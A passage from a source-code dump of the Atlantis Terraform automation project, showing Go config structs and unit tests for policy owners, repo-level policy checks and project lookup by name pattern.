`\nrepos:\n- id: /.*/\n  plan_requirements: [approved]\n  apply_requirements: [approved]\n  import_requirements: [approved]\n- id: /github.com/.*/\n  plan_requirements: [mergeable]\n  apply_requirements: [mergeable]\n  import_requirements: [mergeable]\n- id: github.com/owner/repo\n  plan_requirements: [approved, mergeable]\n  apply_requirements: [approved, mergeable]\n  import_requirements: [approved, mergeable]\n  policy_check: false\n`,\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\tproj: valid.Project{\n\t\t\t\tDir:         \"mydir\",\n\t\t\t\tWorkspace:   \"myworkspace\",\n\t\t\t\tName:        String(\"myname\"),\n\t\t\t\tPolicyCheck: Bool(false),\n\t\t\t},\n\t\t\trepoWorkflows: nil,\n\t\t\texp: valid.MergedProjectCfg{\n\t\t\t\tPlanRequirements:   []string{\"approved\", \"mergeable\"},\n\t\t\t\tApplyRequirements:  []string{\"approved\", \"mergeable\"},\n\t\t\t\tImportRequirements: []string{\"approved\", \"mergeable\"},\n\t\t\t\tWorkflow:           defaultWorkflow,\n\t\t\t\tRepoRelDir:         \"mydir\",\n\t\t\t\tWorkspace:          \"myworkspace\",\n\t\t\t\tName:               \"myname\",\n\t\t\t\tAutoplanEnabled:    false,\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocks:          valid.DefaultRepoLocks,\n\t\t\t\tPolicyCheck:        false,\n\t\t\t\tCustomPolicyCheck:  false,\n\t\t\t},\n\t\t},\n\t\t\"global policy check disabled and enabled on current repo\": {\n\t\t\tgPolicyCheck: false,\n\t\t\tgCfg: `\nrepos:\n- id: /.*/\n  plan_requirements: [approved]\n  apply_requirements: [approved]\n  import_requirements: [approved]\n- id: /github.com/.*/\n  plan_requirements: [mergeable]\n  apply_requirements: [mergeable]\n  import_requirements: [mergeable]\n- id: github.com/owner/repo\n  plan_requirements: [approved, mergeable]\n  apply_requirements: [approved, mergeable]\n  import_requirements: [approved, mergeable]\n  policy_check: true\n`,\n\t\t\trepoID: \"github.com/owner/repo\",\n\t\t\tproj: valid.Project{\n\t\t\t\tDir:         \"mydir\",\n\t\t\t\tWorkspace:   \"myworkspace\",\n\t\t\t\tName:        String(\"myname\"),\n\t\t\t\tPolicyCheck: Bool(false),\n\t\t\t},\n\t\t\trepoWorkflows: nil,\n\t\t\texp: valid.MergedProjectCfg{\n\t\t\t\tPlanRequirements:   []string{\"approved\", \"mergeable\"},\n\t\t\t\tApplyRequirements:  []string{\"approved\", \"mergeable\"},\n\t\t\t\tImportRequirements: []string{\"approved\", \"mergeable\"},\n\t\t\t\tWorkflow:           defaultWorkflow,\n\t\t\t\tRepoRelDir:         \"mydir\",\n\t\t\t\tWorkspace:          \"myworkspace\",\n\t\t\t\tName:               \"myname\",\n\t\t\t\tAutoplanEnabled:    false,\n\t\t\t\tPolicySets:         emptyPolicySets,\n\t\t\t\tRepoLocks:          valid.DefaultRepoLocks,\n\t\t\t\tPolicyCheck:        true, // Project will have policy check as true but since it is globally disable it wont actually run\n\t\t\t\tCustomPolicyCheck:  false,\n\t\t\t},\n\t\t},\n\t}\n\tfor name, c := range cases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\ttmp := t.TempDir()\n\t\t\tvar global valid.GlobalCfg\n\t\t\tpath := filepath.Join(tmp, \"config.yaml\")\n\t\t\tOk(t, os.WriteFile(path, []byte(c.gCfg), 0600))\n\t\t\tvar err error\n\t\t\tglobalCfgArgs := valid.GlobalCfgArgs{\n\t\t\t\tAllowAllRepoSettings: false,\n\t\t\t\tPolicyCheckEnabled:   c.gPolicyCheck,\n\t\t\t}\n\n\t\t\tglobal, err = (&config.ParserValidator{}).ParseGlobalCfg(path, valid.NewGlobalCfgFromArgs(globalCfgArgs))\n\t\t\tOk(t, err)\n\n\t\t\tglobal.PolicySets = emptyPolicySets\n\t\t\tEquals(t, c.exp, global.MergeProjectCfg(logging.NewNoopLogger(t), c.repoID, c.proj, valid.RepoCfg{Workflows: c.repoWorkflows}))\n\t\t})\n\t}\n}\n\n// String is a helper routine that allocates a new string value\n// to store v and returns a pointer to it.\nfunc String(v string) *string { return &v }\n\n// Bool is a helper routine that allocates a new bool value\n// to store v and returns a pointer to it.\nfunc Bool(v bool) *bool { return &v }\n"
  },
  {
    "path": "server/core/config/valid/policies.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage valid\n\nimport (\n\t\"slices\"\n\t\"strings\"\n\n\tversion \"github.com/hashicorp/go-version\"\n)\n\nconst (\n\tLocalPolicySet  string = \"local\"\n\tGithubPolicySet string = \"github\"\n)\n\n// PolicySets defines version of policy checker binary(conftest) and a list of\n// PolicySet objects. PolicySets struct is used by PolicyCheck workflow to build\n// context to enforce policies.\ntype PolicySets struct {\n\tVersion      *version.Version\n\tOwners       PolicyOwners\n\tApproveCount int\n\tPolicySets   []PolicySet\n}\n\ntype PolicyOwners struct {\n\tUsers []string\n\tTeams []string\n}\n\ntype PolicySet struct {\n\tSource             string\n\tPath               string\n\tName               string\n\tApproveCount       int\n\tOwners             PolicyOwners\n\tPreventSelfApprove bool\n}\n\nfunc (p *PolicySets) HasPolicies() bool {\n\treturn len(p.PolicySets) > 0\n}\n\n// Check if any level of policy owners includes teams\nfunc (p *PolicySets) HasTeamOwners() bool {\n\thasTeamOwners := len(p.Owners.Teams) > 0\n\tfor _, policySet := range p.PolicySets {\n\t\tif len(policySet.Owners.Teams) > 0 {\n\t\t\thasTeamOwners = true\n\t\t}\n\t}\n\treturn hasTeamOwners\n}\n\nfunc (o *PolicyOwners) IsOwner(username string, userTeams []string) bool {\n\tfor _, uname := range o.Users {\n\t\tif strings.EqualFold(uname, username) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\tfor _, orgTeamName := range o.Teams {\n\t\tfor _, userTeamName := range userTeams {\n\t\t\tif strings.EqualFold(orgTeamName, userTeamName) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\n\treturn false\n}\n\n// Return all owner teams from all policy sets\nfunc (p *PolicySets) AllTeams() []string {\n\tteams := p.Owners.Teams\n\tfor _, policySet := range p.PolicySets {\n\t\tfor _, team := range policySet.Owners.Teams {\n\t\t\tif !slices.Contains(teams, team) {\n\t\t\t\tteams = append(teams, team)\n\t\t\t}\n\t\t}\n\t}\n\treturn teams\n}\n"
  },
  {
    "path": "server/core/config/valid/policies_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage valid_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestPoliciesConfig_HasTeamOwners(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       valid.PolicySets\n\t\texpResult   bool\n\t}{\n\t\t{\n\t\t\tdescription: \"no team owners\",\n\t\t\tinput: valid.PolicySets{\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName: \"policy1\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpResult: false,\n\t\t},\n\t\t{\n\t\t\tdescription: \"has top-level team owner\",\n\t\t\tinput: valid.PolicySets{\n\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\tTeams: []string{\n\t\t\t\t\t\t\"someteam\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName: \"policy1\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpResult: true,\n\t\t},\n\t\t{\n\t\t\tdescription: \"has policy-level team owner\",\n\t\t\tinput: valid.PolicySets{\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName: \"policy1\",\n\t\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\t\tTeams: []string{\n\t\t\t\t\t\t\t\t\"someteam\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpResult: true,\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tresult := c.input.HasTeamOwners()\n\t\t\tEquals(t, c.expResult, result)\n\t\t})\n\t}\n}\n\nfunc TestPoliciesConfig_IsOwners(t *testing.T) {\n\tuser := \"testuser\"\n\tuserTeams := []string{\"testuserteam\"}\n\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       valid.PolicyOwners\n\t\texpResult   bool\n\t}{\n\t\t{\n\t\t\tdescription: \"user is not owner\",\n\t\t\tinput: valid.PolicyOwners{\n\t\t\t\tUsers: []string{\n\t\t\t\t\t\"someotheruser\",\n\t\t\t\t},\n\t\t\t\tTeams: []string{\n\t\t\t\t\t\"someotherteam\",\n\t\t\t\t},\n\t\t\t},\n\t\t\texpResult: false,\n\t\t},\n\t\t{\n\t\t\tdescription: \"user is owner\",\n\t\t\tinput: valid.PolicyOwners{\n\t\t\t\tUsers: []string{\n\t\t\t\t\t\"testuser\",\n\t\t\t\t\t\"someotheruser\",\n\t\t\t\t},\n\t\t\t\tTeams: []string{\n\t\t\t\t\t\"someotherteam\",\n\t\t\t\t},\n\t\t\t},\n\t\t\texpResult: true,\n\t\t},\n\t\t{\n\t\t\tdescription: \"user is owner via team membership\",\n\t\t\tinput: valid.PolicyOwners{\n\t\t\t\tUsers: []string{\n\t\t\t\t\t\"someotheruser\",\n\t\t\t\t},\n\t\t\t\tTeams: []string{\n\t\t\t\t\t\"someotherteam\",\n\t\t\t\t\t\"testuserteam\",\n\t\t\t\t},\n\t\t\t},\n\t\t\texpResult: true,\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tresult := c.input.IsOwner(user, userTeams)\n\t\t\tEquals(t, c.expResult, result)\n\t\t})\n\t}\n}\n\nfunc TestPoliciesConfig_AllTeams(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tinput       valid.PolicySets\n\t\texpResult   []string\n\t}{\n\t\t{\n\t\t\tdescription: \"has only top-level team owner\",\n\t\t\tinput: valid.PolicySets{\n\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\tTeams: []string{\n\t\t\t\t\t\t\"team1\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpResult: []string{\"team1\"},\n\t\t},\n\t\t{\n\t\t\tdescription: \"has only policy-level team owner\",\n\t\t\tinput: valid.PolicySets{\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName: \"policy1\",\n\t\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\t\tTeams: []string{\n\t\t\t\t\t\t\t\t\"team2\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpResult: []string{\"team2\"},\n\t\t},\n\t\t{\n\t\t\tdescription: \"has both top-level and policy-level team owners\",\n\t\t\tinput: valid.PolicySets{\n\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\tTeams: []string{\n\t\t\t\t\t\t\"team1\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tPolicySets: []valid.PolicySet{\n\t\t\t\t\t{\n\t\t\t\t\t\tName: \"policy1\",\n\t\t\t\t\t\tOwners: valid.PolicyOwners{\n\t\t\t\t\t\t\tTeams: []string{\n\t\t\t\t\t\t\t\t\"team2\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpResult: []string{\"team1\", \"team2\"},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tresult := c.input.AllTeams()\n\t\t\tEquals(t, c.expResult, result)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/core/config/valid/repo_cfg.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\n// Package valid contains the structs representing the atlantis.yaml config\n// after it's been parsed and validated.\npackage valid\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/bmatcuk/doublestar/v4\"\n\tversion \"github.com/hashicorp/go-version\"\n)\n\n// RepoCfg is the atlantis.yaml config after it's been parsed and validated.\ntype RepoCfg struct {\n\t// Version is the version of the atlantis YAML file.\n\tVersion                   int\n\tProjects                  []Project\n\tWorkflows                 map[string]Workflow\n\tPolicySets                PolicySets\n\tAutomerge                 *bool\n\tAutoDiscover              *AutoDiscover\n\tParallelApply             *bool\n\tParallelPlan              *bool\n\tParallelPolicyCheck       *bool\n\tDeleteSourceBranchOnMerge *bool\n\tRepoLocks                 *RepoLocks\n\tCustomPolicyCheck         *bool\n\tEmojiReaction             string\n\tAllowedRegexpPrefixes     []string\n\tAbortOnExecutionOrderFail bool\n\tSilencePRComments         []string\n}\n\nfunc (r RepoCfg) FindProjectsByDirWorkspace(repoRelDir string, workspace string) []Project {\n\tvar ps []Project\n\tfor _, p := range r.Projects {\n\t\tif p.Dir == repoRelDir && p.Workspace == workspace {\n\t\t\tps = append(ps, p)\n\t\t}\n\t}\n\treturn ps\n}\n\n// FindProjectsByDir returns all projects that are in dir.\nfunc (r RepoCfg) FindProjectsByDir(dir string) []Project {\n\tvar ps []Project\n\tfor _, p := range r.Projects {\n\t\tif p.Dir == dir {\n\t\t\tps = append(ps, p)\n\t\t}\n\t}\n\treturn ps\n}\n\n// FindProjectsByDirPattern returns all projects whose dir matches the glob pattern.\n// Supports patterns like \"modules/*\", \"environments/**\", etc.\nfunc (r RepoCfg) FindProjectsByDirPattern(pattern string) []Project {\n\tvar ps []Project\n\tfor _, p := range r.Projects {\n\t\tif matched, _ := doublestar.Match(pattern, p.Dir); matched {\n\t\t\tps = append(ps, p)\n\t\t}\n\t}\n\treturn ps\n}\n\n// FindProjectsByDirPatternWorkspace returns all projects whose dir matches the\n// glob pattern and workspace matches exactly.\nfunc (r RepoCfg) FindProjectsByDirPatternWorkspace(pattern string, workspace string) []Project {\n\tvar ps []Project\n\tfor _, p := range r.Projects {\n\t\tif matched, _ := doublestar.Match(pattern, p.Dir); matched && p.Workspace == workspace {\n\t\t\tps = append(ps, p)\n\t\t}\n\t}\n\treturn ps\n}\n\n// ContainsDirGlobPattern returns true if the string contains glob pattern characters.\nfunc ContainsDirGlobPattern(s string) bool {\n\treturn strings.ContainsAny(s, \"*?[\")\n}\n\nfunc (r RepoCfg) FindProjectByName(name string) *Project {\n\tfor _, p := range r.Projects {\n\t\tif p.Name != nil && *p.Name == name {\n\t\t\treturn &p\n\t\t}\n\t}\n\treturn nil\n}\n\n// FindProjectsByName returns all projects that match with name.\nfunc (r RepoCfg) FindProjectsByName(name string) []Project {\n\tvar ps []Project\n\tsanitizedName := \"^\" + name + \"$\"\n\tfor _, p := range r.Projects {\n\t\tif p.Name != nil {\n\t\t\tif match, _ := regexp.MatchString(sanitizedName, *p.Name); match {\n\t\t\t\tps = append(ps, p)\n\t\t\t}\n\t\t}\n\t}\n\t// If we found more than one project then we need to make sure that the regex is allowed.\n\tif len(ps) > 1 && !isRegexAllowed(name, r.AllowedRegexpPrefixes) {\n\t\tlog.Printf(\"Found more than one project for regex %q. This regex is not on the allow list.\", name)\n\t\treturn nil\n\t}\n\treturn ps\n}\n\nfunc isRegexAllowed(name string, allowedRegexpPrefixes []string) bool {\n\tif len(allowedRegexpPrefixes) == 0 {\n\t\treturn true\n\t}\n\tfor _, allowedRegexPrefix := range allowedRegexpPrefixes {\n\t\tif strings.HasPrefix(name, allowedRegexPrefix) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// This function returns a final true/false decision for whether AutoDiscover is enabled\n// for a repo. It takes into account the defaultAutoDiscoverMode when there is no explicit\n// repo config. The defaultAutoDiscoverMode param should be understood as the default\n// AutoDiscover mode as may be set via CLI params or server side repo config.\nfunc (r RepoCfg) AutoDiscoverEnabled(defaultAutoDiscoverMode AutoDiscoverMode) bool {\n\tautoDiscoverMode := defaultAutoDiscoverMode\n\tif r.AutoDiscover != nil {\n\t\tautoDiscoverMode = r.AutoDiscover.Mode\n\t}\n\n\tif autoDiscoverMode == AutoDiscoverAutoMode {\n\t\t// AutoDiscover is enabled by default when no projects are defined\n\t\treturn len(r.Projects) == 0\n\t}\n\n\treturn autoDiscoverMode == AutoDiscoverEnabledMode\n}\n\n// validateWorkspaceAllowed returns an error if repoCfg defines projects in\n// repoRelDir but none of them use workspace. We want this to be an error\n// because if users have gone to the trouble of defining projects in repoRelDir\n// then it's likely that if we're running a command for a workspace that isn't\n// defined then they probably just typed the workspace name wrong.\nfunc (r RepoCfg) ValidateWorkspaceAllowed(repoRelDir string, workspace string) error {\n\tprojects := r.FindProjectsByDir(repoRelDir)\n\n\t// If that directory doesn't have any projects configured then we don't\n\t// enforce workspace names.\n\tif len(projects) == 0 {\n\t\treturn nil\n\t}\n\n\tvar configuredSpaces []string\n\tfor _, p := range projects {\n\t\tif p.Workspace == workspace {\n\t\t\treturn nil\n\t\t}\n\t\tconfiguredSpaces = append(configuredSpaces, p.Workspace)\n\t}\n\n\treturn fmt.Errorf(\n\t\t\"running commands in workspace %q is not allowed because this\"+\n\t\t\t\" directory is only configured for the following workspaces: %s\",\n\t\tworkspace,\n\t\tstrings.Join(configuredSpaces, \", \"),\n\t)\n}\n\ntype Project struct {\n\tDir                       string\n\tBranchRegex               *regexp.Regexp\n\tWorkspace                 string\n\tName                      *string\n\tWorkflowName              *string\n\tTerraformDistribution     *string\n\tTerraformVersion          *version.Version\n\tAutoplan                  Autoplan\n\tPlanRequirements          []string\n\tApplyRequirements         []string\n\tImportRequirements        []string\n\tDependsOn                 []string\n\tDeleteSourceBranchOnMerge *bool\n\tRepoLocking               *bool\n\tRepoLocks                 *RepoLocks\n\tExecutionOrderGroup       int\n\tPolicyCheck               *bool\n\tCustomPolicyCheck         *bool\n\tSilencePRComments         []string\n}\n\n// GetName returns the name of the project or an empty string if there is no\n// project name.\nfunc (p Project) GetName() string {\n\tif p.Name != nil {\n\t\treturn *p.Name\n\t}\n\treturn \"\"\n}\n\ntype Autoplan struct {\n\tWhenModified []string\n\tEnabled      bool\n}\n\n// PostProcessRunOutputOption is an enum of options for post-processing RunCommand output\ntype PostProcessRunOutputOption string\n\nconst (\n\tPostProcessRunOutputShow            = \"show\"\n\tPostProcessRunOutputHide            = \"hide\"\n\tPostProcessRunOutputStripRefreshing = \"strip_refreshing\"\n\tPostProcessRunOutputFilterRegexKey  = \"filter_regex\"\n)\n\ntype Stage struct {\n\tSteps []Step\n}\n\n// CommandShell sets up the shell for command execution\ntype CommandShell struct {\n\tShell     string\n\tShellArgs []string\n}\n\nfunc (s CommandShell) String() string {\n\treturn fmt.Sprintf(\"%s %s\", s.Shell, strings.Join(s.ShellArgs, \" \"))\n}\n\ntype Step struct {\n\tStepName  string\n\tExtraArgs []string\n\t// RunCommand is either a custom run step or the command to run\n\t// during an env step to populate the environment variable dynamically.\n\tRunCommand string\n\t// Output includes the options for post-processing a RunCommand output\n\t// these will be executed in the received order\n\tOutput []PostProcessRunOutputOption\n\t// EnvVarName is the name of the\n\t// environment variable that should be set by this step.\n\tEnvVarName string\n\t// EnvVarValue is the value to set EnvVarName to.\n\tEnvVarValue string\n\t// The Shell to use for RunCommand execution.\n\tRunShell *CommandShell\n\t// FilterRegex is a list of regexes for post-processing a RunCommand output\n\t// these will be executed in the received order\n\tFilterRegexes []*regexp.Regexp\n}\n\ntype Workflow struct {\n\tName        string\n\tApply       Stage\n\tPlan        Stage\n\tPolicyCheck Stage\n\tImport      Stage\n\tStateRm     Stage\n}\n"
  },
  {
    "path": "server/core/config/valid/repo_cfg_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage valid_test\n\nimport (\n\t\"testing\"\n\n\tvalidation \"github.com/go-ozzo/ozzo-validation\"\n\tversion \"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/core/config/raw\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestConfig_FindProjectsByDir(t *testing.T) {\n\ttfVersion, _ := version.NewVersion(\"v0.11.0\")\n\tcases := []struct {\n\t\tdescription string\n\t\tnameRegex   string\n\t\tinput       valid.RepoCfg\n\t\texpProjects []valid.Project\n\t}{\n\t\t{\n\t\t\tdescription: \"Find projects with 'dev' prefix as allowed prefix\",\n\t\t\tnameRegex:   \"dev.*\",\n\t\t\tinput: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:              \".\",\n\t\t\t\t\t\tName:             String(\"dev_terragrunt_myproject\"),\n\t\t\t\t\t\tWorkspace:        \"myworkspace\",\n\t\t\t\t\t\tTerraformVersion: tfVersion,\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tApplyRequirements: []string{\"approved\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"myworkflow\": {\n\t\t\t\t\t\tName:        \"myworkflow\",\n\t\t\t\t\t\tApply:       valid.DefaultApplyStage,\n\t\t\t\t\t\tPlan:        valid.DefaultPlanStage,\n\t\t\t\t\t\tPolicyCheck: valid.DefaultPolicyCheckStage,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tAllowedRegexpPrefixes: []string{\"dev\", \"staging\"},\n\t\t\t},\n\t\t\texpProjects: []valid.Project{\n\t\t\t\t{\n\t\t\t\t\tDir:              \".\",\n\t\t\t\t\tName:             String(\"dev_terragrunt_myproject\"),\n\t\t\t\t\tWorkspace:        \"myworkspace\",\n\t\t\t\t\tTerraformVersion: tfVersion,\n\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\tEnabled:      false,\n\t\t\t\t\t},\n\t\t\t\t\tApplyRequirements: []string{\"approved\"},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"Only find projects with allowed prefix\",\n\t\t\tnameRegex:   \".*\",\n\t\t\tinput: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:              \".\",\n\t\t\t\t\t\tName:             String(\"dev_terragrunt_myproject\"),\n\t\t\t\t\t\tWorkspace:        \"myworkspace\",\n\t\t\t\t\t\tTerraformVersion: tfVersion,\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tApplyRequirements: []string{\"approved\"},\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:              \".\",\n\t\t\t\t\t\tName:             String(\"staging_terragrunt_myproject\"),\n\t\t\t\t\t\tWorkspace:        \"myworkspace\",\n\t\t\t\t\t\tTerraformVersion: tfVersion,\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tApplyRequirements: []string{\"approved\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"myworkflow\": {\n\t\t\t\t\t\tName:        \"myworkflow\",\n\t\t\t\t\t\tApply:       valid.DefaultApplyStage,\n\t\t\t\t\t\tPlan:        valid.DefaultPlanStage,\n\t\t\t\t\t\tPolicyCheck: valid.DefaultPolicyCheckStage,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tAllowedRegexpPrefixes: []string{\"dev\", \"staging\"},\n\t\t\t},\n\t\t\texpProjects: nil,\n\t\t},\n\t\t{\n\t\t\tdescription: \"Find all projects without restrictions of allowed prefix\",\n\t\t\tnameRegex:   \".*\",\n\t\t\tinput: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:              \".\",\n\t\t\t\t\t\tName:             String(\"dev_terragrunt_myproject\"),\n\t\t\t\t\t\tWorkspace:        \"myworkspace\",\n\t\t\t\t\t\tTerraformVersion: tfVersion,\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tApplyRequirements: []string{\"approved\"},\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:              \".\",\n\t\t\t\t\t\tName:             String(\"staging_terragrunt_myproject\"),\n\t\t\t\t\t\tWorkspace:        \"myworkspace\",\n\t\t\t\t\t\tTerraformVersion: tfVersion,\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tApplyRequirements: []string{\"approved\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"myworkflow\": {\n\t\t\t\t\t\tName:        \"myworkflow\",\n\t\t\t\t\t\tApply:       valid.DefaultApplyStage,\n\t\t\t\t\t\tPlan:        valid.DefaultPlanStage,\n\t\t\t\t\t\tPolicyCheck: valid.DefaultPolicyCheckStage,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tAllowedRegexpPrefixes: nil,\n\t\t\t},\n\t\t\texpProjects: []valid.Project{\n\t\t\t\t{\n\t\t\t\t\tDir:              \".\",\n\t\t\t\t\tName:             String(\"dev_terragrunt_myproject\"),\n\t\t\t\t\tWorkspace:        \"myworkspace\",\n\t\t\t\t\tTerraformVersion: tfVersion,\n\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\tEnabled:      false,\n\t\t\t\t\t},\n\t\t\t\t\tApplyRequirements: []string{\"approved\"},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tDir:              \".\",\n\t\t\t\t\tName:             String(\"staging_terragrunt_myproject\"),\n\t\t\t\t\tWorkspace:        \"myworkspace\",\n\t\t\t\t\tTerraformVersion: tfVersion,\n\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\tEnabled:      false,\n\t\t\t\t\t},\n\t\t\t\t\tApplyRequirements: []string{\"approved\"},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"Always find exact matches even if the prefix is not allowed\",\n\t\t\tnameRegex:   \".*\",\n\t\t\tinput: valid.RepoCfg{\n\t\t\t\tVersion: 3,\n\t\t\t\tProjects: []valid.Project{\n\t\t\t\t\t{\n\t\t\t\t\t\tDir:              \".\",\n\t\t\t\t\t\tName:             String(\"prod_terragrunt_myproject\"),\n\t\t\t\t\t\tWorkspace:        \"myworkspace\",\n\t\t\t\t\t\tTerraformVersion: tfVersion,\n\t\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\t\tEnabled:      false,\n\t\t\t\t\t\t},\n\t\t\t\t\t\tApplyRequirements: []string{\"approved\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkflows: map[string]valid.Workflow{\n\t\t\t\t\t\"myworkflow\": {\n\t\t\t\t\t\tName:        \"myworkflow\",\n\t\t\t\t\t\tApply:       valid.DefaultApplyStage,\n\t\t\t\t\t\tPlan:        valid.DefaultPlanStage,\n\t\t\t\t\t\tPolicyCheck: valid.DefaultPolicyCheckStage,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tAllowedRegexpPrefixes: []string{\"dev\", \"staging\"},\n\t\t\t},\n\t\t\texpProjects: []valid.Project{\n\t\t\t\t{\n\t\t\t\t\tDir:              \".\",\n\t\t\t\t\tName:             String(\"prod_terragrunt_myproject\"),\n\t\t\t\t\tWorkspace:        \"myworkspace\",\n\t\t\t\t\tTerraformVersion: tfVersion,\n\t\t\t\t\tAutoplan: valid.Autoplan{\n\t\t\t\t\t\tWhenModified: raw.DefaultAutoPlanWhenModified,\n\t\t\t\t\t\tEnabled:      false,\n\t\t\t\t\t},\n\t\t\t\t\tApplyRequirements: []string{\"approved\"},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tvalidation.ErrorTag = \"yaml\"\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tprojects := c.input.FindProjectsByName(c.nameRegex)\n\t\t\tEquals(t, c.expProjects, projects)\n\t\t})\n\t}\n}\n\nfunc 